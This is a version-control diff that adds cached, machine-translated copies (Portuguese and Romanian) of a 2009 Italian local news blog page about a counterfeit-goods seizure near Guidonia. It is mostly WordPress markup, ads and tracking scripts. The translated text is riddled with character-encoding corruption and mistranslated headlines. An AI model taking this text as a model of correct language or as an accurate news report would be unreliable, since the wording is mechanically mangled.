+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6289' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6289&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6289&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6289&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6289&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6289&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6289&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6289&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6289&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6289&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6289&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6289&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6289&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6289&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Subscrever a este conteÃºdo"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6289&lang=pt" >Fast News Blog</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): estupros, mediÃ§Ã£o ou Â«enche</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - A linha ferroviÃ¡ria do &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: PrevenÃ§Ã£o e SeguranÃ§a no Trabalho</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Mulher morta por relÃ¢mpagos no LÃ¡cio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, casas sem cimento. Aqui estÃ¡ a prova. &quot; O postadas, Enzo Cappucci, haviam cavado nos escombros na regiÃ£o de Abruzzo e de ter encontrado provas da leveza, a falta de controles, o criminoso descuido com que muitas casas foram construÃ­das. O ... Tags: enzo tampas Abruzzo RaiNews24 rai roma um [...]"">Rai em cimento</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, casas sem cimento. Aqui estÃ¡ a prova&#39;&#39;. O envio de Rainews24, Enzo Cappucci, haviam cavado nos escombros na regiÃ£o de Abruzzo e de ter encontrado provas da leveza, a falta de controles, o criminoso descuido com que muitas casas foram ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, casas sem cimento&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Armados com pistola roubaram antiguidades no hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Em Julho de 23 assinaturas para regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">A gestÃ£o da dor pÃ³s-operatÃ³ria ganha &quot;e do rock &#39;trecho&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Mulher e Democracia.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Medo, mentiras e &quot;mito&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Mulher e Democracia.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Medo, mentiras e &quot;mito&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers serÃ¡ estreada na quinta-feira, 25 jun sÃ£o o cinema</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">EleiÃ§Ãµes e Guidonia Fonte Nova para o centro</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=pt" >GuidoniaPuntoNet (em andamento).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">EleiÃ§Ãµes Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 3.951 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:22:59 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6289&lang=ro
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6289&lang=ro	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6289&lang=ro	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6289 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guardia di Finanza. Capturate de capital de 3 milioane de bucÄÅ£i ... - de Vest - GuidoniaPuntoNet (Ã®n curs) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (Ã®n curs) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6289&rurl=translate.google.com&lang=it&usg=ALkJrhhxkO6HE4pBt9y9NK6LXj5t0-GV3A" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="implicit" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="roz" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="verde" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="purpuriu" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="roÅu" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="albastru" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (Ã®n curs) &quot;Guardia di Finanza. Capturate de capital de 3 milioane de bucÄÅ£i ... - de Vest Feed comentarii" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (Ã®n curs)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia Ã®n WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Gdf, mare confiscarea a mÄrfurilor pentru 20 de milioane - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><link rel=next title="Guidonia: Pagano, UDC Ã®ndeamnÄ DRUMURI de risc Mapare - IRIS de presÄ - AgenÅ£ia NaÅ£ionalÄ de PresÄ" href=http://www.guidonia.net/wp/?p=6286 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=ro" >GuidoniaPuntoNet (Ã®n curs)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=ro" >AcasÄ</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=ro" >Despre</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=ro" >Contacte</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="cÄuta" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6289><h2> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=ro" >Guardia di Finanza.</a></span> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=ro" >Capturate de capital de 3 milioane de bucÄÅ£i ... -</a> de <a href="http://www.guidonia.net/wp?p=6289&lang=ro" >Vest</a></span> </h2><p class=meta-header> <span  > Primit la 03 iulie 2009 Ã®n <a href="http://www.guidonia.net/wp?cat=1&lang=ro" >Guidonia Stiri</a> de admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Guardia di Finanza.</a></b></span> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Capturate de capital de 3 milioane de piese ...</a></b></span> <br /> <span  > De <font color=#6f6f6f><font size=-1><b>Vest</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> ChinezÄ Ã®ntreprinzÄtori care opereazÄ Ã®n acelaÅi mod Åi pentru a localiza 17 depozitele Ã®n zonele de est Åi de la Roma <b>Guidonia Montecelio. ...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>mai mult Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Plecare un Reply</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6289#respond style=display:none;&lang=ro" ><small>FaceÅ£i clic pentru a anula rÄspuns.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nume (a cere)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (nu va fi publicat) (obligatoriu)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Site web</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Comentarii</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Trimiteti comentarii" class=box /><input type=hidden name=comment_post_ID value=6289 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idei pentru web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Idei Ã®n cÄutare de finanÅ£are: <a href=mailto:info@guidonia.net>contactati-ne</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Poti sa stai aÄ¡Ä¡ornata prin <a href="http://www.guidonia.net/wp?feed=rss2&lang=ro" >RSS feed.</a></span> </div><div class=col><div class=box><h3> <span  > Video-uri despre Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="MansardÄ Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ad.</span> <span  > Viale Roma gara si ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Cuvinte Åi Sunete Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - sensul totul este - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Iulie 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="luni"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="marÅ£i"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Miercuri"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="joi"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="vineri"> <span  > V</span> </th><th abbr=sabato scope=col title="SÃ¢mbÄtÄ"> <span  > S</span> </th><th abbr=domenica scope=col title="duminicÄ"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=ro" >Â«Iunie</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=ro" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=ro" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=ro" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6289' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6289&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6289&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6289&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6289&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6289&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6289&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6289&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6289&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6289&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6289&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  